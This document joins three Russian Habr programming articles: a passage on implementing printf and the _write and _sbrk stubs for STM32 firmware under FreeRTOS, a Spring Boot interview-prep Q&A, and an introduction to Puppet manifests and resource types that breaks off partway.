* переопределить системную функцию \_write на вывод в последовательный порт;
* описать заглушки системных вызовов, которые требует компоновщик (\_fork, \_wait и прочие);
* использовать printf вызов в проекте.
На деле же, не все так просто.
Описать нужно все заглушки, а не только используемые
----------------------------------------------------
Наличие кучи неопределенных ссылок при компоновке проекта по началу удивляет, но немного почитав, становится понятно, что и для чего. Во всех своих проектах подключаю вот этот [субмодуль](https://github.com/Vadimatorik/module_system_dummy/blob/3d4fb056dcd60da402002b5727ff72e43f57b963/src/cpp_system_calls.cpp). Таким образом, в основном проекте я переопределяю только нужные мне методы (только \_write в данном случае), а остальные остаются неизменными.
Важно отметить, что все заглушки должны быть C функциями. Не C++ (или обернутые в extern «C»). Иначе компоновка пройдет неудачно (помним про изменение имен при сборке у G++).
В \_write приходит по 1 символу
-------------------------------
Несмотря на то, что в прототипе метода \_write есть аргумент, передающий длину выводимого сообщения, он имеет значение 1 (на самом деле мы сами сделаем так, что он всегда будет 1, но об этом далее).
```
int _write (int file, char *data, int len) {
...
}
```
В интернете часто можно видеть [вот такую реализацию](http://we.easyelectronics.ru/STM32/primenenie-printf-v-stm32f4.html) этого метода:
**Частая реализация функции \_write**
```
int uart_putc( const char ch)
{
while (USART_GetFlagStatus(USART2, USART_FLAG_TC) == RESET);
{}
USART_SendData(USART2, (uint8_t) ch);
return 0;
}
int _write_r (struct _reent *r, int file, char * ptr, int len)
{
r = r;
file = file;
ptr = ptr;
#if 0
int index;
/* For example, output string by UART */
for(index=0; index
```
У такой реализации есть следующие недостатки:
* низкая производительность;
* потоковая незащищенность;
* невозможность использовать последовательный порт для других целей;
### Низкая производительность
Низкая производительность объясняется отправкой байт с использованием ресурсов процессора: приходится следить за регистром состояния вместо использования того же DMA. Для решения этой проблемы можно заранее готовить буфер для отправки, и при получении символа конца строки (или заполнения буфера) производить отправку. Данный способ требует наличия памяти под буфер, однако значительно повышает производительность при частой отправке.
**Пример реализации \_write с буфером**
```
#include "uart.h"
#include
#include
extern mc::uart uart\_1;
extern "C" {
// Буфер для кеширования обращений к uart.
static const uint32\_t buf\_size = 254;
static uint8\_t tx\_buf[buf\_size] = {0};
static uint32\_t buf\_p = 0;
static inline int \_add\_char (char data) {
tx\_buf[buf\_p++] = data;
if (buf\_p >= buf\_size) {
if (uart\_1.tx(tx\_buf, buf\_p, 100) != mc\_interfaces::res::ok) {
errno = EIO;
return -1;
}
buf\_p = 0;
}
return 0;
}
// Putty хочет \r\n в качестве перехода
// в начало новой строки.
static inline int \_add\_endl () {
if (\_add\_char('\r') != 0) {
return -1;
}
if (\_add\_char('\n') != 0) {
return -1;
}
uint32\_t len = buf\_p;
buf\_p = 0;
if (uart\_1.tx(tx\_buf, len, 100) != mc\_interfaces::res::ok) {
errno = EIO;
return -1;
}
return 0;
}
int \_write (int file, char \*data, int len) {
len = len;
// Проверяем корректность потока.
if ((file != STDOUT\_FILENO) && (file != STDERR\_FILENO)) {
errno = EBADF;
return -1;
}
// Внутри приложения стандартом завершения
// строки является \n.
if (\*data != '\n') {
if (\_add\_char(\*data) != 0) {
return -1;
}
} else {
if (\_add\_endl() != 0) {
return -1;
}
}
return 1;
}
}
```
Здесь за непосредственную отправку с использованием dma отвечает объект класса uart — uart\_1. Объект использует методы FreeRTOS для блокировки стороннего доступа к объекту на момент отправки данных из буфера (взятие и возвращение mutex-а). Таким образом, никто не может воспользоваться объектом uart-а во время отправки из другого потока.
Немного ссылок:
* код функции \_write в составе реального проекта [здесь](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/bc82dab66e71867df8874ba0eabe56de997ab457/bsp/freertos/low_level/src/print.cpp)
* интерфейс класса uart [здесь](https://github.com/Vadimatorik/module_mc_hardware_interfaces/blob/8b28c4dc81513a17308d3309e2f4d8be7e5c92d8/mc_uart.h)
* реализация интерфейса класса uart под stm32f4 [здесь](https://github.com/Vadimatorik/module_mc_hardware_interfaces_implementation_for_stm32/blob/6dd9dff060d53b15564f31a6020352ab3daa974c/src/uart.cpp) и [здесь](https://github.com/Vadimatorik/module_mc_hardware_interfaces_implementation_for_stm32/blob/6dd9dff060d53b15564f31a6020352ab3daa974c/inc/uart.h)
* создание экземпляра класса uart в составе проекта [здесь](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/aba676aebb7b43c4be79594b81598053614494fa/bsp/mc_hardware/src/ayplayer_uart.cpp)
### Потоковая незащищенность
Данная реализация так же остается потока незащищенной, поскольку никто не мешает в соседнем потоке FreeRTOS начать отправку в printf другой строки и тем самым перетереть отправляемый в данный момент буфер (mutex внутри uart-а защищает объект от использования в разных потоках, но не передаваемые им данные). В случае, если есть риск, что будет вызван printf другого потока, то требуется реализовать объект-прослойку, который будет блокировать доступ к printf целиком. В моем конкретном случае с printf взаимодействует лишь один поток, поэтому дополнительные усложнения лишь уменьшат производительность (постоянное взятие и отпуск mutex-а внутри прослойки).
### Невозможность использовать последовательный порт для других целей
Поскольку мы производим отправку только после того, как будет принята строка целиком (или заполнен буфер), то вместо объекта uart можно вызывать метод-конвертер в какой-либо интерфейс верхнего уровня для последующей пересылки пакета (например доставка с гарантией по протоколу передачи схожим с пакетами транзакций modbus). Это позволит использовать один uart как для вывода отладочной информации, так и, например, для взаимодействия пользователя с консолью управления (если таковая имеется в устройстве). Достаточно будет написать декомпрессор на стороне получателя.
По умолчанию не работает вывод float
------------------------------------
Если вы используете newlib-nano, то по умолчанию printf (а так же все их производные по типу sprintf/snprintf… и прочие) не поддерживают вывод float значений. Это легко решается добавлением в проект следующих флагов компоновщика.
```
SET(LD_FLAGS
-Wl,-u,vfprintf;
-Wl,-u,_printf_float;
-Wl,-u,_scanf_float;
"другие_флаги")
```
Посмотреть полный перечень флагов можно [здесь](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/79cd1d107459f9154ea2cb3e9e29e6148daaa97f/CMakeLists.txt).
Программа зависает где-то в недрах printf
-----------------------------------------
Это еще одна недоработка флагов компоновщика. Чтобы прошивка была скомпонована с нужной версией библиотеки нужно явно указать параметры процессора.
```
SET(HARDWARE_FLAGS
-mthumb;
-mcpu=cortex-m4;
-mfloat-abi=hard;
-mfpu=fpv4-sp-d16;)
SET(LD_FLAGS
${HARDWARE_FLAGS}
"другие_флаги")
```
Посмотреть полный перечень флагов можно [также здесь](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/79cd1d107459f9154ea2cb3e9e29e6148daaa97f/CMakeLists.txt).
printf заставляет микроконтроллер попасть в hard fault
------------------------------------------------------
Тут могут быть как минимум две причины:
* проблемы со стеком;
* проблемы с \_sbrk;
### Проблемы со стеком
Эта проблема действительно проявляет себя при использовании FreeRTOS или любой другой ОС. Проблема заключается в использовании буфера. В первом пункте было сказано, что в \_write приходит по 1 байту. Для того, чтобы это произошло, нужно в коде, перед первым использованием printf запретить использование буферизации.
```
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
```
Из описания функции следует, что можно установить так же и одно из следующих значений:
```
#define _IOFBF 0 /* setvbuf should set fully buffered */
#define _IOLBF 1 /* setvbuf should set line buffered */
#define _IONBF 2 /* setvbuf should set unbuffered */
```
Однако это может привести к переполнению стека задачи (или прерывания, если вы вдруг очень нехороший человек, который вызывает printf из прерываний).
Чисто технически, можно очень аккуратно расставить для каждого потока стеки, однако такой подход требует тщательного планирования и ошибки, которые он несет в себе, трудно отловить. Куда более простым решением является прием по одному байту, складирование в собственный буфер с последующим выводом в требуемом формате, разобранный ранее.
### Проблемы с \_sbrk
Эта проблема была лично для меня самой неявной. И так, что мы знаем о \_sbrk?
* очередная заглушка, которую требуется реализовать для поддеркжи немалой части стандартных библиотек;
* требуется для выделения памяти в куче;
* используется всякими библиотечными методами по типу malloc, free.
Лично я в своих проектах в 95% случаев использую FreeRTOS с переопределенными методами new/delete/malloc, использующими кучу FreeRTOS. Так что когда я выделяю память, то уверен, что выделение идет в куче FreeRTOS, которая занимает заранее известное количество памяти в bss области. Посмотреть на прослойку можно [здесь](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/2f7cf649dbc5edb9f06b92f84d2238800d8b994e/bsp/freertos/low_level/src/memory_layer.cpp). Так что, чисто технически, никакой проблемы быть не должно. Функция просто не должна вызываться. Но давайте подумаем, если она вызовится, то где она попытается взять память?
Вспомним разметку оперативной памяти «классического» проекта под микроконтроллеры:
* .data;
* .bss;
* пустое пространство;
* начальный стек.
В data у нас начальные данные глобальных объектов (переменные, структуры и прочие глоабльные поля проекта). В bss — глобальные поля, имеющие начальное нулевое значение и, внимательно, куча FreeRTOS. Она представляет из себя просто массив в памяти. с которым потом работают методы из файла heap\_x.c. Далее идет пустое пространство, после которого (вернее сказать с конца) располагается стек. Т.к. в моем проекте используется FreeRTOS, то данный стек используется только до момента запуска планировщика. И, таким образом, его использование, в большинстве случаев, ограничивается коллобайтом (на деле обычно 100 байт предел).
Но где же тогда выделяется память с помощью \_sbrk? Взглянем на то, какие переменные она использует из linker script-а.
```
void *__attribute__ ((weak)) _sbrk (int incr) {
extern char __heap_start;
extern char __heap_end;
...
```
Теперь найдем их в linker script-е (мой скрипт немного отличается от того, который предоставляет st, однако эта часть там примерно такая же):
```
__stack = ORIGIN(SRAM) + LENGTH(SRAM);
__main_stack_size = 1024;
__main_stack_limit = __stack - __main_stack_size;
...секции во flash, потом в оперативную память...
.bss (NOLOAD) : ALIGN(4) {
...
. = ALIGN(4);
__bss_end = .;
} >SRAM
__heap_start = __bss_end;
__heap_end = __main_stack_limit;
```
То есть он использует память между стеком (1 кб от 0x20020000 вниз при 128 кб RAM) и bss.
Разобрались. Но ведь у нес есть переопределние методов malloc, free и прочих. Использовать \_sbrk ведь ведь не обязательно? Как оказалось, обязательно. Причем этот метод использует не printf, а метод для установки режима буферизации — **setvbuf** (вернее сказать \_malloc\_r, который в библиотеке объявлен не как слабая функция. В отличии от malloc, который можно легко заменить).
Так как я был уверен, что sbrk не используется, расположил кучу FreeRTOS (секцию bss) вплотную к стеку (поскольку точно знал, что стека используется раз в 10 меньше, чем требуется).
Решения проблемы 3:
* сделать некоторый отступ между bss и стеком;
* переопределить \_malloc\_r, чтобы \_sbrk не вызывался (отделить от библиотеки один метод);
* переписать sbrk через malloc и free.
Я остановился на первом варианте, поскольку безопасно заменить стандартный \_malloc\_r (который находится внутри libg\_nano.a(lib\_a-nano-mallocr.o)) мне не удалось (метод не объявлен как \_\_attribute\_\_ ((weak)), а исключить только единственную функцию из биюлиотеки при компановке мне не удалось). Переписывать же sbrk ради одного вызова — очень не хотелось.
Конечным решением стало выделение отдельных разделов в RAM под начальный стек и \_sbrk. Это гарантирует, что на этапе компановки секции не налезут друг на друга. Внутри sbrk так же есть проверка на выход за пределы секции. Пришлось внести небольшую правку, чтобы при детектировании перехода за границу поток зависал в while цикле (посколько использование sbrk происходит только на начальном этапе инициализации и должно быть обработано на этапе отладки устройства).
**Измененный mem.ld**
```
MEMORY {
FLASH (RX) : ORIGIN = 0x08000000, LENGTH = 1M
CCM_SRAM (RW) : ORIGIN = 0x10000000, LENGTH = 64K
SRAM (RW) : ORIGIN = 0x20000000, LENGTH = 126K
SBRK_HEAP (RW) : ORIGIN = 0x2001F800, LENGTH = 1K
MAIN_STACK (RW) : ORIGIN = 0x2001FC00, LENGTH = 1K
}
```
**Изменения в section.ld**
```
__stack = ORIGIN(MAIN_STACK) + LENGTH(MAIN_STACK);
__heap_start = ORIGIN(SBRK_HEAP);
__heap_end = ORIGIN(SBRK_HEAP) + LENGTH(SBRK_HEAP);
```
Посмотреть на [mem.ld](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/bc82dab66e71867df8874ba0eabe56de997ab457/bsp/startup/ld/mem.ld) и [section.ld](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/blob/bc82dab66e71867df8874ba0eabe56de997ab457/bsp/startup/ld/sections.ld) можно в моем проекте-песочнице [в этом коммите](https://github.com/Vadimatorik/ChiptunePlayer-2.22-Firmware/tree/bc82dab66e71867df8874ba0eabe56de997ab457).
UPD 12.07.2019: поправил перечень флагов для работы printf с float значениями. Поправил ссылку на рабочий CMakeLists с поправленными флагами компиляции и компоновки (были нюансы с тем, что флаги нужно перечислять по одному и через ";", при этом на одной все строке или на разных — не играет роли). | https://habr.com/ru/post/459420/ | null | ru | null |
# Подготовка к Spring Professional Certification. Spring Boot
Приветствую всех. Эта статья раскроет основные вопросы по теме "Spring Boot". Она ориентирована на начинающих разработчиков, и может быть полезной при подготовке к собеседованию. Она получилась достаточно компактной, по сравнению с остальными статьями.
**Оглавление**1. [Внедрение зависимостей, контейнер, IoC, бины](https://habr.com/ru/post/470305/)
2. AOP (аспектно-ориентированное программирование)
3. JDBC, транзакции, JPA, Spring Data
4. [Spring Boot](https://habr.com/ru/post/471312/)
5. [Spring MVC](https://habr.com/ru/post/470566/)
6. [Spring Security](https://habr.com/ru/post/470786/)
7. [REST](https://habr.com/ru/post/471140/)
8. Тестирование
---
### Вопросы
**Что такое Spring Boot?**Spring Boot — это набор уже настроенных модулей которые работают в Spring Framework и упрощают конфигурирование Spring приложения.
Вот некоторые центральные модули:
* Spring-boot-dependencies. Содержит версии зависимостей.
* Spring-boot-starter-parent. Родительский pom.xml
* Spring-boot-starters. Родительский модуль для стартеров
* Spring-boot-autoconfigure. Содержит модули для автонастройки стартеров
* Spring-boot-actuator. Позволяет мониторить приложение и управлять его созданием
**Какие преимущества у Spring Boot?*** Автоконфигурирование многих настроек, что позволяет избежать шаблонного кода
* Позволяет легко конфигурировать приложение, когда настройки по умолчанию не устраивают
* Проект на Spring Boot может компилироваться в автономный JAR-файл
* Предоставляет набор зависимостей, которые уже проверены на правильную работу друг с другом
* Имеет встроенные веб-контейнеры, которые позволяют легко тестировать приложение
**Как он работает? Как он понимает что и как нужно сконфигурировать?**Он предполагает что вам надо, основываясь на зависимостях в classpath. “Соглашение над конфигурацией” — он автоконфигурирует Spring специально подобранными настройками, которые потом можно переопределить.
Для этого есть несколько аннотаций, `@ConditionalOnClass`, `@ConditionalOnBean`, `@ConditionalOnMissingBean` и `@ConditionalOnMissingClass`, которые позволяют применять условия к @Configuration-классам и @Bean-методам в этих классах.
Например:
* Бин будет создан только если определенная зависимость есть в classpath.
Используйте `@ConditionalOnClass`, установив туда имя класса из classpath.
* Бин будет создан только если в контейнере нет бина такого типа или с таким именем.
Используйте `@ConditionalOnMissingBean`, установив туда имя или тип бина для проверки.
**Что влияет на настройку Spring Boot?**Существует список аннотаций-условий, каждая из которых используется для управления созданием бинов. Вот список таких аннотаций(на самом деле их больше):
| | |
| --- | --- |
| Аннотация | Условие прохождения |
| @ConditionalOnClass | Пристутствие класса в classpath |
| @ConditionalOnMissingClass | Отсутствие класса в classpath |
| @ConditionalOnBean | Присутствие бина или его типа(класс бина) |
| @ConditionalOnMissingBean | Отсутствие бина или его типа |
| @ConditionalOnProperty | Присутствие Spring-свойства |
| @ConditionalOnResource | Присутствие файла-ресурса |
| @ConditionalOnWebApplication | Если это веб-приложение, будет использоваться WebApplicationContext |
| @ConditionalOnNotWebApplication | Если это не веб-приложение |
**Как определяются property? Где находится дефолтный PropertySource в Spring Boot?**Spring Boot использует особый порядок PropertySource’ов для того чтобы позволить переопределять значения свойств. Вот порядок источников для получения свойств приложения:
1. Общие настройки из директории ~/spring-boot devtools.properties
2. Настройки из аннотации `@TestPropertySource` из тестов
3. Атрибуты @SpringBootTest#properties
4. Аргументы командной строки
5. Свойства из SPRING\_APPLICATION\_JSON
6. Параметры для инициализации ServletConfig
7. Параметры для инициализации ServletContext
8. JNDI-атрибуты из java:comp/env
9. Java System Properties(System.getProperties())
10. Переменные ОС
11. RandomValueProperySource
12. Проперти для профилей, например YAML или application-{profile}.properties
13. application.properties и YAML не из вашего jar
14. application.properties и YAML из вашего jar
15. Аннотация `@PropertySource` на @Configuration-классе
16. Проперти по умолчанию(устанавливаются через `SpringApplication.setDefaultProperties()`)
Также добавлю, что property.yml всегда переопределяют property.properties.
**Опишите основные аннотации и конфиги для Spring Boot?**Аннотация `@SpringBootApplication` предоставляет 3 свойства:
* `@EnableAutoConfiguration` — включает механизм Spring Boot’а для автоконфигурации
* `@ComponentScan` — включает сканирование компонентов в package’е класса где она находится
* `@Configuration` — позволяет регистрировать доп. бины в контексте
Вот другие основные аннотации:
`@EnableConfigurationProperties` — позволяет использовать бины с аннотацией `@ConfigurationProperties`
`@ConfigurationProperties` — позволяет связывать проперти из файлов с бинами
`@WebMvcTest` — используется для тестов Spring MVC
`@SpringBootTest` — используется, когда нужны функции Spring Boot в тестах
`@DataJpaTest` — используется для теста компонентов JPA
**В чем различия между встроенным контейнером и WAR?**Встроенный контейнер представляет собой сервер, который поставляется с конечным приложением, тогда как WAR является архивом, который может быть развернут на внешнем сервере.
Контейнеры сервлетов хороши для управления несколькими приложениями на одном хосте, но они не очень полезны для управления только одним приложением.
С облачным окружение используется одно приложение на виртуальную машину является предпочтительным и более распространенным способом. Современные фреимворки хотят быть более совместимыми с облаками, поэтому переходят на встраиваемые контейнеры.
**Какие встроенные контейнеры поддерживает Spring?**Spring Boot поддерживает Tomcat, Jetty, и Undertow.
По умолчанию используется TomCat. Для того чтобы изменить контейенер, просто добавьте нужную зависимость в pom.xml.
**Что делает @EnableAutoConfiguration?**Она позволяет использовать автоконфигурацию. Автоконфигурация в Spring Boot пытается создать и настроить бины основываясь на зависимостях в classpath, для того чтобы позволить разработчику быстро начать работать с различными технологиями и убрать шаблонный код.
**Делает ли Spring Boot сканирование компонентов? Где он их ищет по умолчанию?**Да, делает, если стоит аннотация `@SpringBootApplication`, которая содержит аннотацию `@ComponentScanning`.
По умолчанию Spring ищет бины в том же package, что и класс с аннотацией. Это можно переопределить, указав классы(или package) в параметрах `scanBasePackageClasses` или `scanBasePackage`.
**Что такое Spring Boot Starter POM? Чем он может быть полезен?**Стартеры предоставляют набор удобных дескрипторов зависимостей, которые можно включить в ваше приложение. Вы получаете один источник для spring и связанных с ним технологий без необходимости искать и копипастить дескрипторы развертывания.
Например, если вы хотите начать работать с Spring JPA, всего лишь добавьте зависимость spring-boot-starter-data-jpa в ваш проект.
Стартеры содержат большинство зависимостей, нужных вам для запуска проекта, работают быстро и согласованно, и поддерживают наборы транзитивных зависимостей.
**Можете ли вы контролировать логгирование через Spring Boot?**Да. По умолчанию, сообщения с приоритетами ERROR, WARN, INFO будут выводится в приложении. Чтобы включить вывод уровней DEBUG или TRACE вы должны использовать ключи `--debug`/`--trace` или установить проперти-свойства debug/trace = true.
```
logging.level.root = WARN
logging.level.org.springframework.web = DEBUG
logging.level.org.hibernate = ERROR
```
По умолчанию Sprin Boot логирует только в консоль. Если вы хотите логировать события в файл, необходимо установить свойства logging.file или logging.path в true(например, в application.properties).
Цветной вывод сообщений в журнал
В консолях, поддерживающих ANSI, для улучшения читаемости сообщения различных уровней могут быть выделяться с помощью разных цветов. Вот как это настраивается в property-файле:
```
logging.pattern.console=%clr(%d{yyyy-MM-dd HH:mm:ss}) {yellow}
```
Если вы хотите, чтобы записать шла в другие файлы, вы также можете это настроить(YAML):
```
logging:
path: /var/logs/
file: bookWarn.log
level:
root: WARN
org.
springframework:
security: DEBUG
``` | https://habr.com/ru/post/471312/ | null | ru | null |
# Введение в Puppet
Puppet — это система управления конфигурацией. Он используется для приведения хостов к нужному состоянию и поддержания этого состояния.
Я работаю с Puppet уже больше пяти лет. На мой взгляд, его официальная документация хороша для тех, кто уже знаком с Puppet, а для новичка она сложна — сразу даётся много новых терминов; непонятно, в каком порядке читать. Эта статья — по сути переведённая компиляция ключевых моментов из официальной документации, которая позволит новичкам быстро вникнуть в суть Puppet. Я переупорядочил информацию, чтобы постепенно рассказать про все сущности и термины.
Базовая информация
==================
Схема работы Puppet — клиент-серверная, хотя поддерживается и вариант работы без сервера с ограниченной функциональностью.
Используется pull-модель работы: по умолчанию раз в полчаса клиенты обращаются к серверу за конфигурацией и применяют её. Если вы работали с Ansible, то там используется другая, push-модель: администратор инициирует процесс применения конфигурации, сами по себе клиенты ничего применять не будут.
При сетевом взаимодействии используется двустороннее TLS-шифрование: у сервера и клиента есть свои закрытые ключи и соответствующие им сертификаты. Обычно сервер выпускает сертификаты для клиентов, но в принципе возможно использование и внешнего CA.
Знакомство с манифестами
========================
В терминологии Puppet **к паппет-серверу** подключаются **ноды** (nodes). Конфигурация для нод пишется **в манифестах** на специальном языке программирования — Puppet DSL.
Puppet DSL — декларативный язык. На нём описывается желаемое состояние ноды в виде объявления отдельных ресурсов, например:
* Файл существует, и у него определённое содержимое.
* Пакет установлен.
* Сервис запущен.
Ресурсы могут быть взаимосвязаны:
* Есть зависимости, они влияют на порядок применения ресурсов.
Например, «сначала установи пакет, затем поправь конфигурационный файл, после этого запусти сервис».
* Есть уведомления — если ресурс изменился, он отправляет уведомления подписанным на него ресурсам.
Например, если изменяется конфигурационный файл, можно автоматически перезапускать сервис.
Кроме того, в Puppet DSL есть функции и переменные, а также условные операторы и селекторы. Также поддерживаются различные механизмы шаблонизации — EPP и ERB.
Puppet написан на Ruby, поэтому многие конструкции и термины взяты оттуда. Ruby позволяет расширять Puppet — дописывать сложную логику, новые типы ресурсов, функции.
Во время работы Puppet манифесты для каждой конкретной ноды на сервере компилируются в каталог. **Каталог** — это список ресурсов и их взаимосвязей после вычисления значения функций, переменных и раскрытия условных операторов.
Синтаксис и кодстайл
====================
Вот разделы официальной документации, которые помогут разобраться с синтаксисом, если приведённых примеров будет недостаточно:
* [Синтаксис различных языковых конструкций.](https://puppet.com/docs/puppet/latest/lang_visual_index.html)
* [Синтаксис ресурсов.](https://puppet.com/docs/puppet/latest/lang_resources.html)
* [Синтаксис описания нод.](https://puppet.com/docs/puppet/latest/lang_node_definitions.html)
Вот пример того, как выглядит манифест:
```
# Комментарии пишутся, как и много где, после решётки.
#
# Описание конфигурации ноды начинается с ключевого слова node,
# за которым следует селектор ноды — хостнейм (с доменом или без)
# или регулярное выражение для хостнеймов, или ключевое слово default.
#
# После этого в фигурных скобках описывается собственно конфигурация ноды.
#
# Одна и та же нода может попасть под несколько селекторов. Про приоритет
# селекторов написано в статье про синтаксис описания нод.
node 'hostname', 'f.q.d.n', /regexp/ {
# Конфигурация по сути является перечислением ресурсов и их параметров.
#
# У каждого ресурса есть тип и название.
#
# Внимание: не может быть двух ресурсов одного типа с одинаковыми названиями!
#
# Описание ресурса начинается с его типа. Тип пишется в нижнем регистре.
# Про разные типы ресурсов написано ниже.
#
# После типа в фигурных скобках пишется название ресурса, потом двоеточие,
# дальше идёт опциональное перечисление параметров ресурса и их значений.
# Значения параметров указываются через т.н. hash rocket (=>).
resource { 'title':
param1 => value1,
param2 => value2,
param3 => value3,
}
}
```
Отступы и переводы строк не являются обязательной частью манифеста, однако есть рекомендованный [style guide](https://puppet.com/docs/puppet/latest/style_guide.html). Краткое изложение:
* Двухпробельные отступы, табы не используются.
* Фигурные скобки отделяются пробелом, двоеточие пробелом не отделяется.
* Запятые после каждого параметра, в том числе последнего. Каждый параметр — на отдельной строке. Исключение делается для случая без параметров и одного параметра: можно писать на одной строке и без запятой (т.е. `resource { 'title': }` и `resource { 'title': param => value }`).
* Стрелки у параметров должны быть на одном уровне.
* Стрелки взаимосвязи ресурсов пишутся перед ними.
Расположение файлов на паппетсервере
====================================
Для дальнейших объяснений я введу понятие «корневая директория». Корневая директория — это директория, в которой находится Puppet-конфигурация для конкретной ноды.
Корневая директория различается в зависимости от версии Puppet и использования окружений. Окружения — это независимые наборы конфигурации, которые хранятся в отдельных директориях. Обычно используются в сочетании с гитом, в таком случае окружения создаются из веток гита. Соответственно, каждая нода находится в том или ином окружении. Это настраивается на самой ноде, либо в ENC, про что я расскажу в следующей статье.
* В третьей версии («старый Паппет») базовой директорией была `/etc/puppet`. Использование окружений опциональное — мы, например, их не используем со старым Паппетом. Если окружения используются, то они обычно хранятся в `/etc/puppet/environments`, корневой директорией будет директория окружения. Если окружения не используются, корневой директорией будет базовая.
* Начиная с четвёртой версии («новый Паппет») использование окружений стало обязательным, а базовую директорию перенесли в `/etc/puppetlabs/code`. Соответственно, окружения хранятся в `/etc/puppetlabs/code/environments`, корневая директория — директория окружения.
В корневой директории должна быть поддиректория `manifests`, в которой лежит один или несколько манифестов с описанием нод. Кроме того, там должна быть поддиректория `modules`, в которой лежат модули. Что такое модули, я расскажу чуть позже. Кроме того, в старом Паппете также может быть поддиректория `files`, в которой лежат различные файлы, которые мы копируем на ноды. В новом Паппете же все файлы вынесены в модули.
Файлы манифестов имеют расширение `.pp`.
Пара боевых примеров
====================
### Описание ноды и ресурса на ней
На ноде `server1.testdomain` должен быть создан файл `/etc/issue` с содержимым `Debian GNU/Linux \n \l`. Файл должен принадлежать пользователю и группе `root`, права доступа должны быть `644`.
Пишем манифест:
```
node 'server1.testdomain' { # блок конфигурации, относящийся к ноде server1.testdomain
file { '/etc/issue': # описываем файл /etc/issue
ensure => present, # этот файл должен существовать
content => 'Debian GNU/Linux \n \l', # у него должно быть такое содержимое
owner => root, # пользователь-владелец
group => root, # группа-владелец
mode => '0644', # права на файл. Они заданы в виде строки (в кавычках), потому что иначе число с 0 в начале будет воспринято как записанное в восьмеричной системе, и всё пойдёт не так, как задумано
}
}
```
### Взаимосвязи ресурсов на ноде
На ноде `server2.testdomain` должен быть запущен nginx, работающий с подготовленной заранее конфигурацией.
Декомпозируем задачу:
* Нужно, чтобы был установлен пакет `nginx`.
* Нужно, чтобы была скопированы конфигурационные файлы с сервера.
* Нужно, чтобы был запущен сервис `nginx`.
* В случае обновления конфигурации нужно перезапускать сервис.
Пишем манифест:
```
node 'server2.testdomain' { # блок конфигурации, относящийся к ноде server2.testdomain
package { 'nginx': # описываем пакет nginx
ensure => installed, # он должен быть установлен
}
# Прямая стрелка (->) говорит о том, что ресурс ниже должен
# создаваться после ресурса, описанного выше.
# Такие зависимости транзитивны.
-> file { '/etc/nginx': # описываем файл /etc/nginx
ensure => directory, # это должна быть директория
source => 'puppet:///modules/example/nginx-conf', # её содержимое нужно брать с паппет-сервера по указанному адресу
recurse => true, # копировать файлы рекурсивно
purge => true, # нужно удалять лишние файлы (те, которых нет в источнике)
force => true, # удалять лишние директории
}
# Волнистая стрелка (~>) говорит о том, что ресурс ниже должен
# подписаться на изменения ресурса, описанного выше.
# Волнистая стрелка включает в себя прямую (->).
~> service { 'nginx': # описываем сервис nginx
ensure => running, # он должен быть запущен
enable => true, # его нужно запускать автоматически при старте системы
}
# Когда ресурс типа service получает уведомление,
# соответствующий сервис перезапускается.
}
```
Чтобы это работало, нужно примерно такое расположение файлов на паппет-сервере:
```
/etc/puppetlabs/code/environments/production/ # (это для нового Паппета, для старого корневой директорией будет /etc/puppet)
├── manifests/
│ └── site.pp
└── modules/
└── example/
└── files/
└── nginx-conf/
├── nginx.conf
├── mime.types
└── conf.d/
└── some.conf
```
Типы ресурсов
=============
Полный список поддерживаемых типов ресурсов находится [в документации](https://puppet.com/docs/puppet/latest/type.html), здесь же я опишу пять базовых типов, которых в моей практике хватает для решения большинства задач.
### file
Управляет файлами, директориями, симлинками, их содержимым, правами доступа.
Параметры:
* **название ресурса** — путь к файлу (опционально)
* **path** — путь к файлу (если он не задан в названии)
* **ensure** — тип файла:
+ `absent` — удалить файл
+ `present` — должен быть файл любого типа (если файла нет — будет создан обычный файл)
+ `file` — обычный файл
+ `directory` — директория
+ `link` — симлинк
* **content** — содержимое файла (подходит только для обычных файлов, нельзя использовать вместе с **source** или **target**)
* **source** — ссылка на путь, из которого нужно копировать содержимое файла (нельзя использовать вместе с **content** или **target**). Может быть задана как в виде URI со схемой `puppet:` (тогда будут использованы файлы с паппет-сервера), так и со схемой `http:` (надеюсь, понятно, что будет в этом случае), и даже со схемой `file:` или в виде абсолютного пути без схемы (тогда будет использован файл с локальной ФС на ноде).
Примеры:
+ `puppet:///modules//` будет брать файл с паппетсервера по пути `<корневая директория puppet>/modules//files/`
+ `file:///path/to/file` будет брать файл с самой ноды, на которой запущен паппет (не с паппетсервера!), по пути `/path/to/file`.
* **target** — куда должен указывать симлинк (нельзя использовать вместе с **content** или **source**)
* **owner** — пользователь, которому должен принадлежать файл
* **group** — группа, которой должен принадлежать файл
* **mode** — права на файл (в виде строки)
* **recurse** — включает рекурсивную обработку директорий
* **purge** — включает удаление файлов, которые не описаны в Puppet
* **force** — включает удаление директорий, которые не описаны в Puppet
### package
Устанавливает и удаляет пакеты. Умеет обрабатывать уведомления — переустанавливает пакет, если задан параметр **reinstall\_on\_refresh**.
Параметры:
* **название ресурса** — название пакета (опционально)
* **name** — название пакета (если не задано в названии)
* **provider** — пакетный менеджер, который нужно использовать
* **ensure** — желаемое состояние пакета:
+ `present`, `installed` — установлена любая версия
+ `latest` — установлена последняя версия
+ `absent` — удалён (`apt-get remove`)
+ `purged` — удалён вместе с конфигурационными файлами (`apt-get purge`)
+ `held` — версия пакета заблокирована (`apt-mark hold`)
+ `любая другая строка` — установлена указанная версия
* **reinstall\_on\_refresh** — если `true`, то при получении уведомления пакет будет переустановлен. Полезно для source-based дистрибутивов, где пересборка пакетов может быть необходима при изменении параметров сборки. По умолчанию `false`.
### service
Управляет сервисами. Умеет обрабатывать уведомления — перезапускает сервис.
Параметры:
* **название ресурса** — сервис, которым нужно управлять (опционально)
* **name** — сервис, которым нужно управлять (если не задано в названии)
* **ensure** — желаемое состояние сервиса:
+ `running` — запущен
+ `stopped` — остановлен
* **enable** — управляет возможностью запуска сервиса:
+ `true` — включен автозапуск (`systemctl enable`)
+ `mask` — замаскирован (`systemctl mask`)
+ `false` — выключен автозапуск (`systemctl disable`)
* **restart** — команда для перезапуска сервиса
